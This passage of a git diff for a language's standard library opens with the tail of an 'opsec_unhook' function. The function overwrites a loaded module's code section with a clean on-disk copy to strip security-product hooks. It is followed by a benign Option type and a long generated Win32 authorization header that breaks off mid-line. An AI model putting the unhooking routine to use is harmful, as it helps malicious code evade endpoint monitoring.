The clean copy + // is read-only; we never modify it. + var mapping: u64 = (u64)Kernel32.CreateFileMappingA( + (void*)h, (void*)0, (u32)2, (u32)0, (u32)0, (char*)0); + if mapping == 0 { + Kernel32.CloseHandle((void*)h); + ret; + } + + // FILE_MAP_READ = 4. + var clean: u64 = (u64)Kernel32.MapViewOfFile( + (void*)mapping, (u32)4, (u32)0, (u32)0, (u64)0); + if clean == 0 { + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + + var loaded_va: u32 = 0; + var loaded_sz: u32 = 0; + var clean_va: u32 = 0; + var clean_sz: u32 = 0; + if opsec_unhook_section_text(loaded, &loaded_va, + &loaded_sz) == 0 { + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + if opsec_unhook_section_text(clean, &clean_va, &clean_sz) == 0 { + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + + var loaded_text: u64 = loaded + (u64)loaded_va; + var clean_text: u64 = clean + (u64)clean_va; + var len: u64 = (u64)loaded_sz; + if (u64)clean_sz < len { len = (u64)clean_sz; } + + // Flip the loaded .text to writable, copy, restore. + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)loaded_text, len, + PAGE_EXECUTE_READWRITE, &old) != 0 { + mem.copy(loaded_text, clean_text, len); + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)loaded_text, len, old, + &dummy); + } + + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; +} diff --git a/stdlib/option.etpy b/stdlib/option.etpy new file mode 100644 index 0000000..bc5bb9e --- /dev/null +++ b/stdlib/option.etpy @@ -0,0 +1,43 @@ + +struct Option { + is_some: u8, + value: u64, +} + +// some - wrap a value as a present Option. +fn some(v: u64) -> Option { + ret Option { is_some: 1, value: v }; +} + +// none - produce the absent Option. value is left zero. +fn none() -> Option { + ret Option { is_some: 0, value: 0 }; +} + +// is_some - 1 if present, 0 if absent. Useful as the if-condition. +fn is_some(o: Option) -> int { + if o.is_some == 0 { ret 0; } + ret 1; +} + +// is_none - inverse of is_some. Symmetric naming. +fn is_none(o: Option) -> int { + if o.is_some == 0 { ret 1; } + ret 0; +} + +// unwrap - return the inner value, or raise 0xCE ("crashed because +// empty") if the Option was None. Use if is_some { unwrap } when +// you want to handle the absence yourself. +fn unwrap(o: Option) -> u64 { + if o.is_some == 0 { raise 0xCE; } + ret o.value; +} + +// unwrap_or - return the inner value if present, else +// default. Branch-less from the caller's perspective; ideal for +// supplying a sentinel ("timeout = 5000 ms by default") without a temp. +fn unwrap_or(o: Option, default: u64) -> u64 { + if o.is_some == 0 { ret default; } + ret o.value; +} diff --git a/stdlib/win32/authorization.h b/stdlib/win32/authorization.h new file mode 100644 index 0000000..f3bd2b1 --- /dev/null +++ b/stdlib/win32/authorization.h @@ -0,0 +1,818 @@ +// Generated by entc-win32gen from `Windows.Win32.Security.Authorization`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SDDL_REVISION_1 0x1 +#define SDDL_REVISION 0x1 +// SKIPPED const SDDL_OWNER: non-integer constant +// SKIPPED const SDDL_GROUP: non-integer constant +// SKIPPED const SDDL_DACL: non-integer constant +// SKIPPED const SDDL_SACL: non-integer constant +// SKIPPED const SDDL_PROTECTED: non-integer constant +// SKIPPED const SDDL_AUTO_INHERIT_REQ: non-integer constant +// SKIPPED const SDDL_AUTO_INHERITED: non-integer constant +// SKIPPED const SDDL_NULL_ACL: non-integer constant +// SKIPPED const SDDL_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_OBJECT_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_OBJECT_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_AUDIT: non-integer constant +// SKIPPED const SDDL_ALARM: non-integer constant +// SKIPPED const SDDL_OBJECT_AUDIT: non-integer constant +// SKIPPED const SDDL_OBJECT_ALARM: non-integer constant +// SKIPPED const SDDL_MANDATORY_LABEL: non-integer constant +// SKIPPED const SDDL_PROCESS_TRUST_LABEL: non-integer constant +// SKIPPED const SDDL_CALLBACK_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_CALLBACK_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_RESOURCE_ATTRIBUTE: non-integer constant +// SKIPPED const SDDL_SCOPED_POLICY_ID: non-integer constant +// SKIPPED const SDDL_CALLBACK_AUDIT: non-integer constant +// SKIPPED const SDDL_CALLBACK_OBJECT_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_ACCESS_FILTER: non-integer constant +// SKIPPED const SDDL_INT: non-integer constant +// SKIPPED const SDDL_UINT: non-integer constant +// SKIPPED const SDDL_WSTRING: non-integer constant +// SKIPPED const SDDL_SID: non-integer constant +// SKIPPED const SDDL_BLOB: non-integer constant +// SKIPPED const SDDL_BOOLEAN: non-integer constant +// SKIPPED const SDDL_CONTAINER_INHERIT: non-integer constant +// SKIPPED const SDDL_OBJECT_INHERIT: non-integer constant +// SKIPPED const SDDL_NO_PROPAGATE: non-integer constant +// SKIPPED const SDDL_INHERIT_ONLY: non-integer constant +// SKIPPED const SDDL_INHERITED: non-integer constant +// SKIPPED const SDDL_CRITICAL: non-integer constant +// SKIPPED const SDDL_TRUST_PROTECTED_FILTER: non-integer constant +// SKIPPED const SDDL_AUDIT_SUCCESS: non-integer constant +// SKIPPED const SDDL_AUDIT_FAILURE: non-integer constant +// SKIPPED const SDDL_READ_PROPERTY: non-integer constant +// SKIPPED const SDDL_WRITE_PROPERTY: non-integer constant +// SKIPPED const SDDL_CREATE_CHILD: non-integer constant +// SKIPPED const SDDL_DELETE_CHILD: non-integer constant +// SKIPPED const SDDL_LIST_CHILDREN: non-integer constant +// SKIPPED const SDDL_SELF_WRITE: non-integer constant +// SKIPPED const SDDL_LIST_OBJECT: non-integer constant +// SKIPPED const SDDL_DELETE_TREE: non-integer constant +// SKIPPED const SDDL_CONTROL_ACCESS: non-integer constant +// SKIPPED const SDDL_READ_CONTROL: non-integer constant +// SKIPPED const SDDL_WRITE_DAC: non-integer constant +// SKIPPED const SDDL_WRITE_OWNER: non-integer constant +// SKIPPED const SDDL_STANDARD_DELETE: non-integer constant +// SKIPPED const SDDL_GENERIC_ALL: non-integer constant +// SKIPPED const SDDL_GENERIC_READ: non-integer constant +// SKIPPED const SDDL_GENERIC_WRITE: non-integer constant +// SKIPPED const SDDL_GENERIC_EXECUTE: non-integer constant +// SKIPPED const SDDL_FILE_ALL: non-integer constant +// SKIPPED const SDDL_FILE_READ: non-integer constant +// SKIPPED const SDDL_FILE_WRITE: non-integer constant +// SKIPPED const SDDL_FILE_EXECUTE: non-integer constant +// SKIPPED const SDDL_KEY_ALL: non-integer constant +// SKIPPED const SDDL_KEY_READ: non-integer constant +// SKIPPED const SDDL_KEY_WRITE: non-integer constant +// SKIPPED const SDDL_KEY_EXECUTE: non-integer constant +// SKIPPED const SDDL_NO_WRITE_UP: non-integer constant +// SKIPPED const SDDL_NO_READ_UP: non-integer constant +// SKIPPED const SDDL_NO_EXECUTE_UP: non-integer constant +#define SDDL_ALIAS_SIZE 0x2 +// SKIPPED const SDDL_DOMAIN_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_DOMAIN_GUESTS: non-integer constant +// SKIPPED const SDDL_DOMAIN_USERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_DOMAIN_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_DOMAIN_DOMAIN_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_DOMAIN_COMPUTERS: non-integer constant +// SKIPPED const SDDL_BUILTIN_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_BUILTIN_GUESTS: non-integer constant +// SKIPPED const SDDL_BUILTIN_USERS: non-integer constant +// SKIPPED const SDDL_LOCAL_ADMIN: non-integer constant +// SKIPPED const SDDL_LOCAL_GUEST: non-integer constant +// SKIPPED const SDDL_ACCOUNT_OPERATORS: non-integer constant +// SKIPPED const SDDL_BACKUP_OPERATORS: non-integer constant +// SKIPPED const SDDL_PRINTER_OPERATORS: non-integer constant +// SKIPPED const SDDL_SERVER_OPERATORS: non-integer constant +// SKIPPED const SDDL_AUTHENTICATED_USERS: non-integer constant +// SKIPPED const SDDL_PERSONAL_SELF: non-integer constant +// SKIPPED const SDDL_CREATOR_OWNER: non-integer constant +// SKIPPED const SDDL_CREATOR_GROUP: non-integer constant +// SKIPPED const SDDL_LOCAL_SYSTEM: non-integer constant +// SKIPPED const SDDL_POWER_USERS: non-integer constant +// SKIPPED const SDDL_EVERYONE: non-integer constant +// SKIPPED const SDDL_REPLICATOR: non-integer constant +// SKIPPED const SDDL_INTERACTIVE: non-integer constant +// SKIPPED const SDDL_NETWORK: non-integer constant +// SKIPPED const SDDL_SERVICE: non-integer constant +// SKIPPED const SDDL_RESTRICTED_CODE: non-integer constant +// SKIPPED const SDDL_WRITE_RESTRICTED_CODE: non-integer constant +// SKIPPED const SDDL_ANONYMOUS: non-integer constant +// SKIPPED const SDDL_SCHEMA_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_CERT_SERV_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_RAS_SERVERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_ADMINS: non-integer constant +// SKIPPED const SDDL_GROUP_POLICY_ADMINS: non-integer constant +// SKIPPED const SDDL_ALIAS_PREW2KCOMPACC: non-integer constant +// SKIPPED const SDDL_LOCAL_SERVICE: non-integer constant +// SKIPPED const SDDL_NETWORK_SERVICE: non-integer constant +// SKIPPED const SDDL_REMOTE_DESKTOP: non-integer constant +// SKIPPED const SDDL_NETWORK_CONFIGURATION_OPS: non-integer constant +// SKIPPED const SDDL_PERFMON_USERS: non-integer constant +// SKIPPED const SDDL_PERFLOG_USERS: non-integer constant +// SKIPPED const SDDL_IIS_USERS: non-integer constant +// SKIPPED const SDDL_CRYPTO_OPERATORS: non-integer constant +// SKIPPED const SDDL_OWNER_RIGHTS: non-integer constant +// SKIPPED const SDDL_EVENT_LOG_READERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_RO_DCs: non-integer constant +// SKIPPED const SDDL_CERTSVC_DCOM_ACCESS: non-integer constant +// SKIPPED const SDDL_ALL_APP_PACKAGES: non-integer constant +// SKIPPED const SDDL_RDS_REMOTE_ACCESS_SERVERS: non-integer constant +// SKIPPED const SDDL_RDS_ENDPOINT_SERVERS: non-integer constant +// SKIPPED const SDDL_RDS_MANAGEMENT_SERVERS: non-integer constant +// SKIPPED const SDDL_USER_MODE_DRIVERS: non-integer constant +// SKIPPED const SDDL_HYPER_V_ADMINS: non-integer constant +// SKIPPED const SDDL_CLONEABLE_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_ACCESS_CONTROL_ASSISTANCE_OPS: non-integer constant +// SKIPPED const SDDL_REMOTE_MANAGEMENT_USERS: non-integer constant +// SKIPPED const SDDL_AUTHORITY_ASSERTED: non-integer constant +// SKIPPED const SDDL_SERVICE_ASSERTED: non-integer constant +// SKIPPED const SDDL_PROTECTED_USERS: non-integer constant +// SKIPPED const SDDL_KEY_ADMINS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_KEY_ADMINS: non-integer constant +// SKIPPED const SDDL_USER_MODE_HARDWARE_OPERATORS: non-integer constant +// SKIPPED const SDDL_OPENSSH_USERS: non-integer constant +// SKIPPED const SDDL_ML_LOW: non-integer constant +// SKIPPED const SDDL_ML_MEDIUM: non-integer constant +// SKIPPED const SDDL_ML_MEDIUM_PLUS: non-integer constant +// SKIPPED const SDDL_ML_HIGH: non-integer constant +// SKIPPED const SDDL_ML_SYSTEM: non-integer constant +// SKIPPED const SDDL_SEPERATOR: non-integer constant +// SKIPPED const SDDL_DELIMINATOR: non-integer constant +// SKIPPED const SDDL_ACE_BEGIN: non-integer constant +// SKIPPED const SDDL_ACE_END: non-integer constant +// SKIPPED const SDDL_ACE_COND_BEGIN: non-integer constant +// SKIPPED const SDDL_ACE_COND_END: non-integer constant +// SKIPPED const SDDL_SPACE: non-integer constant +// SKIPPED const SDDL_ACE_COND_BLOB_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_SID_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_USER_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_RESOURCE_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_DEVICE_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_TOKEN_ATTRIBUTE_PREFIX: non-integer constant +#define INHERITED_ACCESS_ENTRY 0x10 +#define INHERITED_PARENT 0x10000000 +#define INHERITED_GRANDPARENT 0x20000000 +// SKIPPED const ACCCTRL_DEFAULT_PROVIDERA: non-integer constant +// SKIPPED const ACCCTRL_DEFAULT_PROVIDERW: non-integer constant +// SKIPPED const ACCCTRL_DEFAULT_PROVIDER: non-integer constant +#define TRUSTEE_ACCESS_ALLOWED 1 +#define TRUSTEE_ACCESS_READ 2 +#define TRUSTEE_ACCESS_WRITE 4 +#define TRUSTEE_ACCESS_EXPLICIT 1 +#define TRUSTEE_ACCESS_ALL -1 +#define ACTRL_RESERVED 0x0 +#define ACTRL_PERM_1 0x1 +#define ACTRL_PERM_2 0x2 +#define ACTRL_PERM_3 0x4 +#define ACTRL_PERM_4 0x8 +#define ACTRL_PERM_5 0x10 +#define ACTRL_PERM_6 0x20 +#define ACTRL_PERM_7 0x40 +#define ACTRL_PERM_8 0x80 +#define ACTRL_PERM_9 0x100 +#define ACTRL_PERM_10 0x200 +#define ACTRL_PERM_11 0x400 +#define ACTRL_PERM_12 0x800 +#define ACTRL_PERM_13 0x1000 +#define ACTRL_PERM_14 0x2000 +#define ACTRL_PERM_15 0x4000 +#define ACTRL_PERM_16 0x8000 +#define ACTRL_PERM_17 0x10000 +#define ACTRL_PERM_18 0x20000 +#define ACTRL_PERM_19 0x40000 +#define ACTRL_PERM_20 0x80000 +#define ACTRL_ACCESS_PROTECTED 0x1 +#define ACTRL_SYSTEM_ACCESS 0x4000000 +#define ACTRL_DELETE 0x8000000 +#define ACTRL_READ_CONTROL 0x10000000 +#define ACTRL_CHANGE_ACCESS 0x20000000 +#define ACTRL_CHANGE_OWNER 0x40000000 +#define ACTRL_SYNCHRONIZE 0x80000000 +#define ACTRL_STD_RIGHTS_ALL 0xf8000000 +#define ACTRL_FILE_READ 0x1 +#define ACTRL_FILE_WRITE 0x2 +#define ACTRL_FILE_APPEND 0x4 +#define ACTRL_FILE_READ_PROP 0x8 +#define ACTRL_FILE_WRITE_PROP 0x10 +#define ACTRL_FILE_EXECUTE 0x20 +#define ACTRL_FILE_READ_ATTRIB 0x80 +#define ACTRL_FILE_WRITE_ATTRIB 0x100 +#define ACTRL_FILE_CREATE_PIPE 0x200 +#define ACTRL_DIR_LIST 0x1 +#define ACTRL_DIR_CREATE_OBJECT 0x2 +#define ACTRL_DIR_CREATE_CHILD 0x4 +#define ACTRL_DIR_DELETE_CHILD 0x40 +#define ACTRL_DIR_TRAVERSE 0x20 +#define ACTRL_KERNEL_TERMINATE 0x1 +#define ACTRL_KERNEL_THREAD 0x2 +#define ACTRL_KERNEL_VM 0x4 +#define ACTRL_KERNEL_VM_READ 0x8 +#define ACTRL_KERNEL_VM_WRITE 0x10 +#define ACTRL_KERNEL_DUP_HANDLE 0x20 +#define ACTRL_KERNEL_PROCESS 0x40 +#define ACTRL_KERNEL_SET_INFO 0x80 +#define ACTRL_KERNEL_GET_INFO 0x100 +#define ACTRL_KERNEL_CONTROL 0x200 +#define ACTRL_KERNEL_ALERT 0x400 +#define ACTRL_KERNEL_GET_CONTEXT 0x800 +#define ACTRL_KERNEL_SET_CONTEXT 0x1000 +#define ACTRL_KERNEL_TOKEN 0x2000 +#define ACTRL_KERNEL_IMPERSONATE 0x4000 +#define ACTRL_KERNEL_DIMPERSONATE 0x8000 +#define ACTRL_PRINT_SADMIN 0x1 +#define ACTRL_PRINT_SLIST 0x2 +#define ACTRL_PRINT_PADMIN 0x4 +#define ACTRL_PRINT_PUSE 0x8 +#define ACTRL_PRINT_JADMIN 0x10 +#define ACTRL_SVC_GET_INFO 0x1 +#define ACTRL_SVC_SET_INFO 0x2 +#define ACTRL_SVC_STATUS 0x4 +#define ACTRL_SVC_LIST 0x8 +#define ACTRL_SVC_START 0x10 +#define ACTRL_SVC_STOP 0x20 +#define ACTRL_SVC_PAUSE 0x40 +#define ACTRL_SVC_INTERROGATE 0x80 +#define ACTRL_SVC_UCONTROL 0x100 +#define ACTRL_REG_QUERY 0x1 +#define ACTRL_REG_SET 0x2 +#define ACTRL_REG_CREATE_CHILD 0x4 +#define ACTRL_REG_LIST 0x8 +#define ACTRL_REG_NOTIFY 0x10 +#define ACTRL_REG_LINK 0x20 +#define ACTRL_WIN_CLIPBRD 0x1 +#define ACTRL_WIN_GLOBAL_ATOMS 0x2 +#define ACTRL_WIN_CREATE 0x4 +#define ACTRL_WIN_LIST_DESK 0x8 +#define ACTRL_WIN_LIST 0x10 +#define ACTRL_WIN_READ_ATTRIBS 0x20 +#define ACTRL_WIN_WRITE_ATTRIBS 0x40 +#define ACTRL_WIN_SCREEN 0x80 +#define ACTRL_WIN_EXIT 0x100 +#define ACTRL_ACCESS_NO_OPTIONS 0x0 +#define ACTRL_ACCESS_SUPPORTS_OBJECT_ENTRIES 0x1 +#define AUDIT_TYPE_LEGACY 0x1 +#define AUDIT_TYPE_WMI 0x2 +#define AP_ParamTypeBits 0x8 +#define AP_ParamTypeMask 255 +#define _AUTHZ_SS_MAXSIZE 0x80 +#define APF_AuditFailure 0x0 +#define APF_AuditSuccess 0x1 +#define APF_ValidFlags 0x1 +#define AUTHZP_WPD_EVENT 0x10 +#define AUTHZ_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1 +#define AUTHZ_MIGRATED_LEGACY_PUBLISHER 0x2 +#define AUTHZ_AUDIT_INSTANCE_INFORMATION 0x2 +#define AUTHZ_SKIP_TOKEN_GROUPS 0x2 +#define AUTHZ_REQUIRE_S4U_LOGON 0x4 +#define AUTHZ_COMPUTE_PRIVILEGES 0x8 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INVALID 0x0 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INT64 0x1 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_STRING 0x3 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_SID 0x5 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 +#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 0x1 +#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION 0x1 +#define AUTHZ_RPC_INIT_INFO_CLIENT_VERSION_V1 0x1 +#define AUTHZ_INIT_INFO_VERSION_V1 0x1 +#define AUTHZ_WPD_CATEGORY_FLAG 0x10 +#define AUTHZ_FLAG_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1 +#define OLESCRIPT_E_SYNTAX -2147352319 +#define SE_UNKNOWN_OBJECT_TYPE 0 +#define SE_FILE_OBJECT 1 +#define SE_SERVICE 2 +#define SE_PRINTER 3 +#define SE_REGISTRY_KEY 4 +#define SE_LMSHARE 5 +#define SE_KERNEL_OBJECT 6 +#define SE_WINDOW_OBJECT 7 +#define SE_DS_OBJECT 8 +#define SE_DS_OBJECT_ALL 9 +#define SE_PROVIDER_DEFINED_OBJECT 10 +#define SE_WMIGUID_OBJECT 11 +#define SE_REGISTRY_WOW64_32KEY 12 +#define SE_REGISTRY_WOW64_64KEY 13 +#define NO_MULTIPLE_TRUSTEE 0 +#define TRUSTEE_IS_IMPERSONATE 1 +#define TRUSTEE_IS_UNKNOWN 0 +#define TRUSTEE_IS_USER 1 +#define TRUSTEE_IS_GROUP 2 +#define TRUSTEE_IS_DOMAIN 3 +#define TRUSTEE_IS_ALIAS 4 +#define TRUSTEE_IS_WELL_KNOWN_GROUP 5 +#define TRUSTEE_IS_DELETED 6 +#define TRUSTEE_IS_INVALID 7 +#define TRUSTEE_IS_COMPUTER 8 +#define AUTHZ_ACCESS_CHECK_NO_DEEP_COPY_SD 0x1 +#define TRUSTEE_IS_SID 0 +#define TRUSTEE_IS_NAME 1 +#define TRUSTEE_BAD_FORM 2 +#define TRUSTEE_IS_OBJECTS_AND_SID 3 +#define TRUSTEE_IS_OBJECTS_AND_NAME 4 +#define AuthzAuditEventInfoFlags 1 +#define AuthzAuditEventInfoOperationType 2 +#define AuthzAuditEventInfoObjectType 3 +#define AuthzAuditEventInfoObjectName 4 +#define AuthzAuditEventInfoAdditionalInfo 5 +#define ACTRL_ACCESS_ALLOWED 0x1 +#define ACTRL_ACCESS_DENIED 0x2 +#define ACTRL_AUDIT_SUCCESS 0x4 +#define ACTRL_AUDIT_FAILURE 0x8 +#define AZ_PROP_NAME 1 +#define AZ_PROP_DESCRIPTION 2 +#define AZ_PROP_WRITABLE 3 +#define AZ_PROP_APPLICATION_DATA 4 +#define AZ_PROP_CHILD_CREATE 5 +#define AZ_MAX_APPLICATION_NAME_LENGTH 512 +#define AZ_MAX_OPERATION_NAME_LENGTH 64 +#define AZ_MAX_TASK_NAME_LENGTH 64 +#define AZ_MAX_SCOPE_NAME_LENGTH 65536 +#define AZ_MAX_GROUP_NAME_LENGTH 64 +#define AZ_MAX_ROLE_NAME_LENGTH 64 +#define AZ_MAX_NAME_LENGTH 65536 +#define AZ_MAX_DESCRIPTION_LENGTH 1024 +#define AZ_MAX_APPLICATION_DATA_LENGTH 4096 +#define AZ_SUBMIT_FLAG_ABORT 1 +#define AZ_SUBMIT_FLAG_FLUSH 2 +#define AZ_MAX_POLICY_URL_LENGTH 65536 +#define AZ_AZSTORE_FLAG_CREATE 1 +#define AZ_AZSTORE_FLAG_MANAGE_STORE_ONLY 2 +#define AZ_AZSTORE_FLAG_BATCH_UPDATE 4 +#define AZ_AZSTORE_FLAG_AUDIT_IS_CRITICAL 8 +#define AZ_AZSTORE_FORCE_APPLICATION_CLOSE 16 +#define AZ_AZSTORE_NT6_FUNCTION_LEVEL 32 +#define AZ_AZSTORE_FLAG_MANAGE_ONLY_PASSIVE_SUBMIT 32768 +#define AZ_PROP_AZSTORE_DOMAIN_TIMEOUT 100 +#define AZ_AZSTORE_DEFAULT_DOMAIN_TIMEOUT 15000 +#define AZ_PROP_AZSTORE_SCRIPT_ENGINE_TIMEOUT 101 +#define AZ_AZSTORE_MIN_DOMAIN_TIMEOUT 500 +#define AZ_AZSTORE_MIN_SCRIPT_ENGINE_TIMEOUT 5000 +#define AZ_AZSTORE_DEFAULT_SCRIPT_ENGINE_TIMEOUT 45000 +#define AZ_PROP_AZSTORE_MAX_SCRIPT_ENGINES 102 +#define AZ_AZSTORE_DEFAULT_MAX_SCRIPT_ENGINES 120 +#define AZ_PROP_AZSTORE_MAJOR_VERSION 103 +#define AZ_PROP_AZSTORE_MINOR_VERSION 104 +#define AZ_PROP_AZSTORE_TARGET_MACHINE 105 +#define AZ_PROP_AZTORE_IS_ADAM_INSTANCE 106 +#define AZ_PROP_OPERATION_ID 200 +#define AZ_PROP_TASK_OPERATIONS 300 +#define AZ_PROP_TASK_BIZRULE 301 +#define AZ_PROP_TASK_BIZRULE_LANGUAGE 302 +#define AZ_PROP_TASK_TASKS 303 +#define AZ_PROP_TASK_BIZRULE_IMPORTED_PATH 304 +#define AZ_PROP_TASK_IS_ROLE_DEFINITION 305 +#define AZ_MAX_TASK_BIZRULE_LENGTH 65536 +#define AZ_MAX_TASK_BIZRULE_LANGUAGE_LENGTH 64 +#define AZ_MAX_TASK_BIZRULE_IMPORTED_PATH_LENGTH 512 +#define AZ_MAX_BIZRULE_STRING 65536 +#define AZ_PROP_GROUP_TYPE 400 +#define AZ_GROUPTYPE_LDAP_QUERY 1 +#define AZ_GROUPTYPE_BASIC 2 +#define AZ_GROUPTYPE_BIZRULE 3 +#define AZ_PROP_GROUP_APP_MEMBERS 401 +#define AZ_PROP_GROUP_APP_NON_MEMBERS 402 +#define AZ_PROP_GROUP_LDAP_QUERY 403 +#define AZ_MAX_GROUP_LDAP_QUERY_LENGTH 4096 +#define AZ_PROP_GROUP_MEMBERS 404 +#define AZ_PROP_GROUP_NON_MEMBERS 405 +#define AZ_PROP_GROUP_MEMBERS_NAME 406 +#define AZ_PROP_GROUP_NON_MEMBERS_NAME 407 +#define AZ_PROP_GROUP_BIZRULE 408 +#define AZ_PROP_GROUP_BIZRULE_LANGUAGE 409 +#define AZ_PROP_GROUP_BIZRULE_IMPORTED_PATH 410 +#define AZ_MAX_GROUP_BIZRULE_LENGTH 65536 +#define AZ_MAX_GROUP_BIZRULE_LANGUAGE_LENGTH 64 +#define AZ_MAX_GROUP_BIZRULE_IMPORTED_PATH_LENGTH 512 +#define AZ_PROP_ROLE_APP_MEMBERS 500 +#define AZ_PROP_ROLE_MEMBERS 501 +#define AZ_PROP_ROLE_OPERATIONS 502 +#define AZ_PROP_ROLE_TASKS 504 +#define AZ_PROP_ROLE_MEMBERS_NAME 505 +#define AZ_PROP_SCOPE_BIZRULES_WRITABLE 600 +#define AZ_PROP_SCOPE_CAN_BE_DELEGATED 601 +#define AZ_PROP_CLIENT_CONTEXT_USER_DN 700 +#define AZ_PROP_CLIENT_CONTEXT_USER_SAM_COMPAT 701 +#define AZ_PROP_CLIENT_CONTEXT_USER_DISPLAY 702 +#define AZ_PROP_CLIENT_CONTEXT_USER_GUID 703 +#define AZ_PROP_CLIENT_CONTEXT_USER_CANONICAL 704 +#define AZ_PROP_CLIENT_CONTEXT_USER_UPN 705 +#define AZ_PROP_CLIENT_CONTEXT_USER_DNS_SAM_COMPAT 707 +#define AZ_PROP_CLIENT_CONTEXT_ROLE_FOR_ACCESS_CHECK 708 +#define AZ_PROP_CLIENT_CONTEXT_LDAP_QUERY_DN 709 +#define AZ_PROP_APPLICATION_AUTHZ_INTERFACE_CLSID 800 +#define AZ_PROP_APPLICATION_VERSION 801 +#define AZ_MAX_APPLICATION_VERSION_LENGTH 512 +#define AZ_PROP_APPLICATION_NAME 802 +#define AZ_PROP_APPLICATION_BIZRULE_ENABLED 803 +#define AZ_PROP_APPLY_STORE_SACL 900 +#define AZ_PROP_GENERATE_AUDITS 901 +#define AZ_PROP_POLICY_ADMINS 902 +#define AZ_PROP_POLICY_READERS 903 +#define AZ_PROP_DELEGATED_POLICY_USERS 904 +#define AZ_PROP_POLICY_ADMINS_NAME 905 +#define AZ_PROP_POLICY_READERS_NAME 906 +#define AZ_PROP_DELEGATED_POLICY_USERS_NAME 907 +#define AZ_CLIENT_CONTEXT_SKIP_GROUP 1 +#define AZ_CLIENT_CONTEXT_SKIP_LDAP_QUERY 1 +#define AZ_CLIENT_CONTEXT_GET_GROUP_RECURSIVE 2 +#define AZ_CLIENT_CONTEXT_GET_GROUPS_STORE_LEVEL_ONLY 2 +#define AUTHZ_RM_FLAG_NO_AUDIT 0x1 +#define AUTHZ_RM_FLAG_INITIALIZE_UNDER_IMPERSONATION 0x2 +#define AUTHZ_RM_FLAG_NO_CENTRAL_ACCESS_POLICIES 0x4 +#define TREE_SEC_INFO_SET 0x1 +#define TREE_SEC_INFO_RESET 0x2 +#define TREE_SEC_INFO_RESET_KEEP_EXPLICIT 0x3 +#define AuthzContextInfoUserSid 1 +#define AuthzContextInfoGroupsSids 2 +#define AuthzContextInfoRestrictedSids 3 +#define AuthzContextInfoPrivileges 4 +#define AuthzContextInfoExpirationTime 5 +#define AuthzContextInfoServerContext 6 +#define AuthzContextInfoIdentifier 7 +#define AuthzContextInfoSource 8 +#define AuthzContextInfoAll 9 +#define AuthzContextInfoAuthenticationId 10 +#define AuthzContextInfoSecurityAttributes 11 +#define AuthzContextInfoDeviceSids 12 +#define AuthzContextInfoUserClaims 13 +#define AuthzContextInfoDeviceClaims 14 +#define AuthzContextInfoAppContainerSid 15 +#define AuthzContextInfoCapabilitySids 16 +#define AUTHZ_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1 +#define AUTHZ_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2 +#define ProgressInvokeNever 1 +#define ProgressInvokeEveryObject 2 +#define ProgressInvokeOnError 3 +#define ProgressCancelOperation 4 +#define ProgressRetryOperation 5 +#define ProgressInvokePrePostError 6 +#define AUTHZ_NO_SUCCESS_AUDIT 0x1 +#define AUTHZ_NO_FAILURE_AUDIT 0x2 +#define AUTHZ_NO_ALLOC_STRINGS 0x4 +#define NOT_USED_ACCESS 0 +#define GRANT_ACCESS 1 +#define SET_ACCESS 2 +#define DENY_ACCESS 3 +#define REVOKE_ACCESS 4 +#define SET_AUDIT_SUCCESS 5 +#define SET_AUDIT_FAILURE 6 +#define AUTHZ_GENERATE_SUCCESS_AUDIT 0x1 +#define AUTHZ_GENERATE_FAILURE_AUDIT 0x2 +#define 